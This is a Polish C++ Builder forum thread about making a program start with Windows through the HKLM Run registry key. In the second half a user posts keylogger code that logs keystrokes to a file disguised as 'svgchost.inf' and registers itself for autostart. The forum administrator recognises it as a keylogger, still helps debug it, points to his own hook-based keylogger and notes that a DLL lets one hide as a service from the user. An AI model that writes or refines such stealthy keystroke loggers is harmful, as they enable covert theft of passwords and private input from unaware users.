CYFROWY BARON • PROGRAMOWANIE • Zobacz wątek - Autostart programu - rejestr

Autostart programu - rejestr

dział ogólny

Autostart programu - rejestr

Nowy postprzez shycat » sobota, 19 czerwca 2010, 12:36

Witam, pisze sobie programik, ktory "mierzy" droge, ktora przebyl nasz kursor na ekranie (wiem, sa jest takich programow w necie masa - ale ja chce miec swoj :D). Problem mam z autostartem przy ponownym uruchomieniu systemu. Nie chce uzywac metody "dodania skrotu programowego do folderu autostart", wole zrobic to troche bardziej profesjonalnie - w rejestrze :) Moj problem dotyczy "kluczy". Standardowo zastosowalam w programie dodawanie wpisu do:

Software\\Microsoft\\Windows\\CurrentVersion\\Run

Programik testowali moi znajomi no i okazalo sie, ze nie wszyscy maja to miejsce w rejestrze mimo, ze uzywali tego samego Windowsa. Macie jakis pomysl jak temu zaradzic?
Moj kod:

Kod: Zaznacz cały
try
{
  TRegistry *Rejestr = new TRegistry();
  Rejestr->RootKey = HKEY_LOCAL_MACHINE;

  Rejestr->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", false);
  Rejestr->WriteString("pc_hiway.exe", main_path+"pc_hiway.exe");
  delete Rejestr;
}
catch(...)
{
}
Avatar użytkownika
shycat
Homos antropiczny
Homos antropiczny
 
Posty: 51
Dołączył(a): środa, 20 sierpnia 2008, 12:37
Lokalizacja: Śląsk
Podziękował : 2
Otrzymał podziękowań: 0
System operacyjny: Windows 7
Kompilator: C++ Builder 2006, Delphi 7
Gadu Gadu: 26712716
    Windows 7Firefox

Re: Autostart programu - rejestr

Nowy postprzez Cyfrowy Baron » sobota, 19 czerwca 2010, 15:25

Wspomniany klucz na pewno jest w każdym systemie Windows i nie ma takiej możliwości by go nie było. Problem polega na tym, że Twoi znajomi maja prawdopodobnie konta z uprawnieniami użytkownika, czyli konta z ograniczeniami, a jednym z takich ograniczeń jest zapis do tego klucza, więc nie mogą dodać tam żadnego programu. Rozwiązaniem problemu może być uruchomienie programu z poświadczeniami administratora, ale do tego trzeba znać hasło administratora.

Możesz też spróbować tego kodu:

kod dla C++Builder 2009 i 2010
Kod: Zaznacz cały
#include <registry.hpp>


 
HKEY hKey;
 if(
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                 
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
                
0NULL0KEY_ALL_ACCESSNULL,
                 &
hKeyNULL) == ERROR_SUCCESS)
 {
  
String name "Program name";
  
String date "c:\\program.exe";

  
RegSetValueEx(hKeyname.t_str(), 0REG_SZ, (PBYTE)(date.c_str()), (date.Length() * 2));
  
RegCloseKey(hKey);
 }
 


Kod jest na String'ach, gdyż niektórzy nie potrafią inaczej przekształcać.

Ponieważ używasz środowiska C++Builder 6 to podam kod dla Ciebie:

Kod: Zaznacz cały
#include <registry.hpp>


 
HKEY hKey;
 if(
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                 
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
                
0NULL0KEY_ALL_ACCESSNULL,
                 &
hKeyNULL) == ERROR_SUCCESS)
 {
  
String name "Program name";
  
String date "c:\\program.exe";

  
RegSetValueEx(hKeyname.c_str(), 0REG_SZ, (PBYTE)(date.c_str()), sizeof(date));
  
RegCloseKey(hKey);
 }
 


Tak powinno być dobrze, ale nie jestem już pewien. Nie oznacza to jednak, że ten kod zadziała na koncie z ograniczeniami.
Avatar użytkownika
Cyfrowy Baron
Administrator
Administrator
 
Posty: 4716
Dołączył(a): niedziela, 13 lipca 2008, 15:17
Podziękował : 12
Otrzymał podziękowań: 442
System operacyjny: Windows 7 x64 SP1
Kompilator: Embarcadero RAD Studio XE2
C++ Builder XE2 Update 4
SKYPE: cyfbar
Gadu Gadu: 0
    Windows XPFirefox

Re: Autostart programu - rejestr

Nowy postprzez shycat » sobota, 19 czerwca 2010, 16:03

Dzieki Cyfrowy Baronie z odpowiedz, moglbys jeszcze mi napisac jaka jest roznica dzialania miedzy Twoim kodem a moim? A wlasciwie chodzi mi o ten kawalek:

Kod: Zaznacz cały
RegSetValueEx(hKey, name.c_str(), 0, REG_SZ, (PBYTE)(date.c_str()), sizeof(date));



Jeszcze jedna sprawa... to miejsce (Software\\Microsoft\\Windows\\CurrentVersion\\Run) zawsze jest w HKEY_LOCAL_MACHINE ??
Avatar użytkownika
shycat
Homos antropiczny
Homos antropiczny
 
Posty: 51
Dołączył(a): środa, 20 sierpnia 2008, 12:37
Lokalizacja: Śląsk
Podziękował : 2
Otrzymał podziękowań: 0
System operacyjny: Windows 7
Kompilator: C++ Builder 2006, Delphi 7
Gadu Gadu: 26712716
    Windows 7Firefox

Re: Autostart programu - rejestr

Nowy postprzez Cyfrowy Baron » sobota, 19 czerwca 2010, 16:21

Jeszcze jedna sprawa... to miejsce (Software\\Microsoft\\Windows\\CurrentVersion\\Run) zawsze jest w HKEY_LOCAL_MACHINE ??


Zawsze.

Co do pierwszego pytania, to opis tej funkcji znajdziesz w pliku pomocy.
Avatar użytkownika
Cyfrowy Baron
Administrator
Administrator
 
Posty: 4716
Dołączył(a): niedziela, 13 lipca 2008, 15:17
Podziękował : 12
Otrzymał podziękowań: 442
System operacyjny: Windows 7 x64 SP1
Kompilator: Embarcadero RAD Studio XE2
C++ Builder XE2 Update 4
SKYPE: cyfbar
Gadu Gadu: 0
    Windows XPFirefox

Re: Autostart programu - rejestr

Nowy postprzez kamil007 » środa, 20 października 2010, 20:17

Witam!
A to czemu przy takim kodzie po starcie systemu nie działa mi w pełni progs, zn. niby działa wyświetla sie okno, ale nie zapisuje nic do pliku?
Jak go odpale normalnie z ikony to wszystko ładnie zapisuje.
KOD cpp:     UKRYJ  
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop

#include "Unit1.h"

#include <stdio.h>
#include <registry.hpp>
#include <string.h>
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"

TForm1 *Form1;

short state;
short old_states[256];

//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
  for( int i = 0; i < 256; i++ )
  {
    state = GetAsyncKeyState(i);
    if( ( (state << 8) != 0 ) && ( (old_states[i] << 8) == 0) )
    {
      char type = MapVirtualKey(i, 2);
             type = tolower(type);

      FILE *file;
      file = fopen( "svgchost.inf", "a+" );
      if(file == NULL) return;

      if(file != NULL)
      {
       fputc(type,file);
       fclose(file);
       break;
      }
     old_states[i] = state;
   }
 }
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{

 HKEY hKey;
 if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
                                0, NULL, 0, KEY_ALL_ACCESS, NULL,
                                 &hKey, NULL) == ERROR_SUCCESS)
 {
  String name = "Project1";
  String date = "G:\\Project1.exe";

  RegSetValueEx(hKey, name.c_str(), 0, REG_SZ, (PBYTE)(date.c_str()), (date.Length() * 2));
  RegCloseKey(hKey);
 }

}
//---------------------------------------------------------------------------

Z góry dzięki za odpowiedź :(
Avatar użytkownika
kamil007
Bladawiec
Bladawiec
 
Posty: 16
Dołączył(a): środa, 20 października 2010, 20:11
Podziękował : 1
Otrzymał podziękowań: 0
System operacyjny: brak systemu
Kompilator: C++ Builder 2007
Gadu Gadu: 0
    Windows 7Internet Explorer 8

Re: Autostart programu - rejestr

Nowy postprzez Cyfrowy Baron » czwartek, 21 października 2010, 08:31

Najpierw kilka uwag odnośnie kodu:

KOD cpp:     UKRYJ  
    if(file == NULL) return;

      if(file != NULL)
      {

       fputc(type,file);
       fclose(file);
       break;

      }


Co to ma być? Przecież tryb warunkowy można budować z dwóch bloków if else, czyli jeżeli coś tam to zrób to w przeciwnym razie zrób coś innego, a Ty tworzysz dwa warunki, które są sobie przeciwstawne. Poza tym dodawanie drugiego warunku nie ma tutaj sensu, gdyż funkcja return przerywa działanie funkcji, gdy warunek zostanie spełniony. Po return dalszy kod nie zostanie wykonany, gdyż ta funkcja wyrzuca z funkcji, więc ten fragment kodu powinien wyglądać tak:
KOD cpp:     UKRYJ  
    if(file == NULL) return;
       fputc(type,file);
       fclose(file);


bez funkcji break, gdyż nie ma ona tutaj zastosowania. break stosuje się najczęściej wewnątrz bloku switch i wewnątrz pętli, w warunku nie ma zastosowania.

Dlaczego po starcie program nie zapisuje, pewnie dlatego, że jeszcze nie wszystkie usługi systemowe zostały załadowane i wykonanie tej operacji nie jest możliwe. Musisz wprowadzić kilkunasto-sekundowe opóźnienie, ale nie poprzez ustawienie właściwości Interval obiektu Timer1, gdyż pierwsze tyknięcie zegara i tak wykona się zaraz po jego uruchomieniu.

Patrząc na ten kod odnoszę wrażenie, że chcesz zrobić coś w rodzaju keylogera przechwytującego obsługę klawiatury. Jeżeli tak to z zegarem tego nie da się zrobić. Nie będzie działał prawidłowo, gdyż opóźnienia generowane przez system, czylu np. duże wykorzystanie czasu procesora będzie wstrzymywać zegar. Poza tym klawisze wciska się z reguły szybciej niż zegar jest w stanie wykonać kod w zdarzeniu OnTimer, więc nie wszystkie przyciski zostaną przechwycone.

Przykład keylogera przechwytującego haki systemowe znajdziesz w serwise Cyfrowy Baron w dziale: porady -> API -> Keyloger, czyli przechwytywanie wciśnięcia klawiszy we wszystkich programach.
Avatar użytkownika
Cyfrowy Baron
Administrator
Administrator
 
Posty: 4716
Dołączył(a): niedziela, 13 lipca 2008, 15:17
Podziękował : 12
Otrzymał podziękowań: 442
System operacyjny: Windows 7 x64 SP1
Kompilator: Embarcadero RAD Studio XE2
C++ Builder XE2 Update 4
SKYPE: cyfbar
Gadu Gadu: 0
    Windows XPFirefox

Re: Autostart programu - rejestr

Nowy postprzez kamil007 » czwartek, 21 października 2010, 14:25

Witam!
Dziękuje za zainteresowanie. Kod nie jest mój, znalazłem gdzieś w necie i troszke go modyfikowałem , jestem b. początkujacy.
Zależało mi bardziej na testowaniu tego startu niz na samym programie. Keyloggera na twojej stronie testowalem działa :)
, ale pod win7 doczytałem że trzeba hooka zrobić w dll, a tego nie potrafię.
A testowałem te dwa przykłady pod buildera 2006, i ten do nowszego, u mnie (2006), nie działał ten pod 2006 zn. nie zapisywał pełnej nazwy ścieżki do pliku w rejestrze, tylko ze trzy pierwsze litery np: "C://proj" Za to ten pod 2009 działa OK.
Avatar użytkownika
kamil007
Bladawiec
Bladawiec
 
Posty: 16
Dołączył(a): środa, 20 października 2010, 20:11
Podziękował : 1
Otrzymał podziękowań: 0
System operacyjny: brak systemu
Kompilator: C++ Builder 2007
Gadu Gadu: 0
    Windows XPInternet Explorer 8

Re: Autostart programu - rejestr

Nowy postprzez Cyfrowy Baron » czwartek, 21 października 2010, 15:45

s
Keyloggera na twojej stronie testowalem działa :), ale pod win7 doczytałem że trzeba hooka zrobić w dll, a tego nie potrafię.


Nie sądzę by umieszczenie kodu w bibliotece DLL miało aż takie znaczenie, gdyż DLL jest tylko rozszerzeniem aplikacji. Gdy kiedyś szukałem kodu keylogera, gdy nowością był WinXP to też spotykałem się z opiniami, że należy to robić w DLL, ale jak widać kod dało się bez problemu umieścić w aplikacji. Użycie DLL ma tą zaletę, że można taki keyloger załadować jako usługę i w ten sposób ukryć przed użytkownikiem. Problem z WinXP jest pewnie związany z samym zamontowaniem haka systemowego. Nie mam niestety na stałe dostępu do tego systemu, wiec nie mogę tego sprawdzić, ale być może ktoś to czytający znajdzie chwilę by przetestować kod keylogera w Win7.


A testowałem te dwa przykłady pod buildera 2006, i ten do nowszego, u mnie (2006), nie działał ten pod 2006 zn. nie zapisywał pełnej nazwy ścieżki do pliku w rejestrze, tylko ze trzy pierwsze litery np: "C://proj" Za to ten pod 2009 działa OK.


Te kody nie różnią się wiele między sobą w zasadzie to chodziło tylko o konwersje zmiennych, gdyż w BCB 2006 mamy zmienną typu AnsiString, a w 2009 i 2010 typ UnicodeString. Kod nie działał prawidłowo, gdyż popełniłem bardzo głupi błąd, użyłem funkcji sizeof do określenia rozmiaru zmiennej typu AnsiStirng, co jest niedopuszczalne.

Sprawdź ten kod:

KOD cpp:     UKRYJ  
#include <registry.hpp>

 HKEY hKey;
 if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                 "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
                0, NULL, 0, KEY_ALL_ACCESS, NULL,
                 &hKey, NULL) == ERROR_SUCCESS)
 {
  char name[] = "Program name";
  char date[] = "c:\\program.exe";

  RegSetValueEx(hKey, name, 0, REG_SZ, (PBYTE)date, strlen(date));
  RegCloseKey(hKey);
 }


Tym razem użyłem zmiennych typu char, więc będzie działać prawidłowo. Zamieniłem również funkcję sizeof na strlen, gdyż tej należy użyć do określania długości łańcucha znaków typu chat. Ponieważ jesteś początkujący to jeszcze podam kod z pobieraniem ścieżki do programu. Jeżeli program ma dodać siebie samego do rejestru, to nie można określać ścieżki na sztywno, gdyż program może znajdować się w różnych lokalizacjach:

KOD cpp:     UKRYJ  
 AnsiString progPath = Application->ExeName.t_str();
 AnsiString progName = ExtractFileName(progPath).t_str();
 progName = progName.SubString(1, progName.Length() - 4);


 HKEY hKey;
 if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,
                 "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
                0, NULL, 0, KEY_ALL_ACCESS, NULL,
                 &hKey, NULL) == ERROR_SUCCESS)
 {
  char name[MAX_PATH];
  sprintf(name, "%s", progName.c_str());

  char date[MAX_PATH];
  sprintf(date, "%s", progPath.c_str());

  RegSetValueEx(hKey, name, 0, REG_SZ, (PBYTE)date, strlen(date));
  RegCloseKey(hKey);
 }


Można też trochę prościej z wykorzystaniem tylko zmiennych typu AnsiString, bez char:

KOD cpp:     UKRYJ  
 AnsiString progPath = Application->ExeName.t_str();
 AnsiString progName = ExtractFileName(progPath).t_str();
 progName = progName.SubString(1, progName.Length() - 4);


 HKEY hKey;
 if(RegCreateKeyExA(HKEY_LOCAL_MACHINE,
                 "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
                0, NULL, 0, KEY_ALL_ACCESS, NULL,
                 &hKey, NULL) == ERROR_SUCCESS)
 {
  RegSetValueExA(hKey, progName.c_str(), 0, REG_SZ, (PBYTE)progPath.c_str(),
                      progPath.Length());
  RegCloseKey(hKey);
 }
Avatar użytkownika
Cyfrowy Baron
Administrator
Administrator
 
Posty: 4716
Dołączył(a): niedziela, 13 lipca 2008, 15:17
Podziękował : 12
Otrzymał podziękowań: 442
System operacyjny: Windows 7 x64 SP1
Kompilator: Embarcadero RAD Studio XE2
C++ Builder XE2 Update 4
SKYPE: cyfbar
Gadu Gadu: 0
    Windows XPFirefox

Re: Autostart programu - rejestr

Nowy postprzez kamil007 » czwartek, 21 października 2010, 19:06

Nie no fajny z Ciebie gość. :)
Twój keyloger działa pod win7, ale trzeba ustawić "Ustawienia kontroli użytkownika" na minimum to jakies nowe zabezpieczenie. ;) , doczytałem że haki
mogą działać z tymi ustawieniami nawet na maxa, ale tak jak napisałem hak musi być w dll.
Jeszcze raz dzięki za kod zaraz będe testował, a jeszcze musze poczytać cos o tym opóżnieniu bo nie moge zatrybić.

A teraz doczytałem dokładnie twoja odpowiedź na mój problem. Nie wiem czy mnie dokładnie zrozumiałeś. Program wystartowany automatycznie wraz z systemem, nie zapisuje nic do pliku, nie wiem ile bym nie czekał, co klikał, w pliku nic się nie zmienia. Jak zamknę go i odpale z ikonki to wszystko OK. :( .
A może sprubuję odpalić pod XP.
Avatar użytkownika
kamil007
Bladawiec
Bladawiec
 
Posty: 16
Dołączył(a): środa, 20 października 2010, 20:11
Podziękował : 1
Otrzymał podziękowań: 0
System operacyjny: brak systemu
Kompilator: C++ Builder 2007
Gadu Gadu: 0
    Windows 7Internet Explorer 8

Re: Autostart programu - rejestr

Nowy postprzez Cyfrowy Baron » czwartek, 21 października 2010, 20:13

To musi być kolejne zabezpieczenie Win7, sprawdź ten program w WinXP.

Co do Win7, keylogera i dll to nie masz racji. Umieszczenie w DLL niczego nie zmieni, program po prostu musi być uruchomiony w specjalnym trybie z wyższymi uprawnieniami. Ten temat był już poruszany na tym forum, ale nie dotyczył keylogera, nie pamiętam już czego, ale to kwestia ustawienia odpowiednich tokenów.
Avatar użytkownika
Cyfrowy Baron
Administrator
Administrator
 
Posty: 4716
Dołączył(a): niedziela, 13 lipca 2008, 15:17
Podziękował : 12
Otrzymał podziękowań: 442
System operacyjny: Windows 7 x64 SP1
Kompilator: Embarcadero RAD Studio XE2
C++ Builder XE2 Update 4
SKYPE: cyfbar
Gadu Gadu: 0
    Windows XPFirefox

Re: Autostart programu - rejestr

Nowy postprzez kamil007 » niedziela, 24 października 2010, 19:02

:(
No nie mogę sobie poradzić z tym auto startem.
Kombinuję i na Xp i na win7, i to samo, program owszem niby startuje bo w procesach jest, ale nie tworzy pliku, ani w przypadku gdy plik jest,nic do niego nie zapisuje :roll:
Możesz to jakoś sprawdzić, czy u Ciebie śmiga?
Avatar użytkownika
kamil007
Bladawiec
Bladawiec
 
Posty: 16
Dołączył(a): środa, 20 października 2010, 20:11
Podziękował : 1
Otrzymał podziękowań: 0
System operacyjny: brak systemu
Kompilator: C++ Builder 2007
Gadu Gadu: 0
    Windows XPInternet Explorer 8

Re: Autostart programu - rejestr

Nowy postprzez Cyfrowy Baron » poniedziałek, 25 października 2010, 10:26

Przekaż do programu bezwzględną ścieżkę do pliku, lecz względną, względem programu:

KOD cpp:     UKRYJ  
   String fileName = ExtractFilePath( ParamStr(0) ) + "svgchost.inf";      
   FILE *file;
   file = fopen( fileName.c_str(), "a+" );


Może tutaj jest błąd. Program nie odnajduje pliku lub tworzy go w jakimś katalogu systemowym. Przeszukaj partycję systemową w poszukiwaniu pliku: svgchost.inf.
Avatar użytkownika
Cyfrowy Baron
Administrator
Administrator
 
Posty: 4716
Dołączył(a): niedziela, 13 lipca 2008, 15:17
Podziękował : 12
Otrzymał podziękowań: 442
System operacyjny: Windows 7 x64 SP1
Kompilator: Embarcadero RAD Studio XE2
C++ Builder XE2 Update 4
SKYPE: cyfbar
Gadu Gadu: 0
    Windows XPFirefox

Re: Autostart programu - rejestr

Nowy postprzez kamil007 » poniedziałek, 25 października 2010, 14:20

Ok poprubuję, jak wrócę do domu, ja jeszcze myślałem że to może właśnie coś z tym timerem.
Jeszcze sprubuję , może zrobić zapis dopiero po wciśnięciu przycisku
Avatar użytkownika
kamil007
Bladawiec
Bladawiec
 
Posty: 16
Dołączył(a): środa, 20 października 2010, 20:11
Podziękował : 1
Otrzymał podziękowań: 0
System operacyjny: brak systemu
Kompilator: C++ Builder 2007
Gadu Gadu: 0
    Windows XPInternet Explorer 8

Re: Autostart programu - rejestr

Nowy postprzez Cyfrowy Baron » poniedziałek, 25 października 2010, 14:38

Zdarzenie OnTimer obiektu typu TTimer to tylko funkcja, która wykona się zawsze gdy zostanie wywołana, czyli gdy właściwość Enabled obiektu Timer1 zostanie ustawiona na true. Zakładam oczywiście, że ustawiłeś właściwość Enabled Timer'a na true!
Avatar użytkownika
Cyfrowy Baron
Administrator
Administrator
 
Posty: 4716
Dołączył(a): niedziela, 13 lipca 2008, 15:17
Podziękował : 12
Otrzymał podziękowań: 442
System operacyjny: Windows 7 x64 SP1
Kompilator: Embarcadero RAD Studio XE2
C++ Builder XE2 Update 4
SKYPE: cyfbar
Gadu Gadu: 0
    Windows XPFirefox

Re: Autostart programu - rejestr

Nowy postprzez kamil007 » poniedziałek, 25 października 2010, 20:22

Może tutaj jest błąd. Program nie odnajduje pliku lub tworzy go w jakimś katalogu systemowym. Przeszukaj partycję systemową w poszukiwaniu pliku: svgchost.inf.

Yeeehhhaaa :D
tak to było to, kurcze szukałem w katalogach systemowych wcześniej, ale ręcznie przeleciałem i chyba niedokładnie. ;)
Jeszcze raz dzięki.
P.S. możesz polecić jakąś książkę do nauki buildera
Avatar użytkownika
kamil007
Bladawiec
Bladawiec
 
Posty: 16
Dołączył(a): środa, 20 października 2010, 20:11
Podziękował : 1
Otrzymał podziękowań: 0
System operacyjny: brak systemu
Kompilator: C++ Builder 2007
Gadu Gadu: 0
    Windows 7Internet Explorer 8

Następna strona

Powrót do Ogólne problemy z programowaniem

Kto przegląda forum

Użytkownicy przeglądający ten dział: Brak zalogowanych użytkowników i 4 gości

cron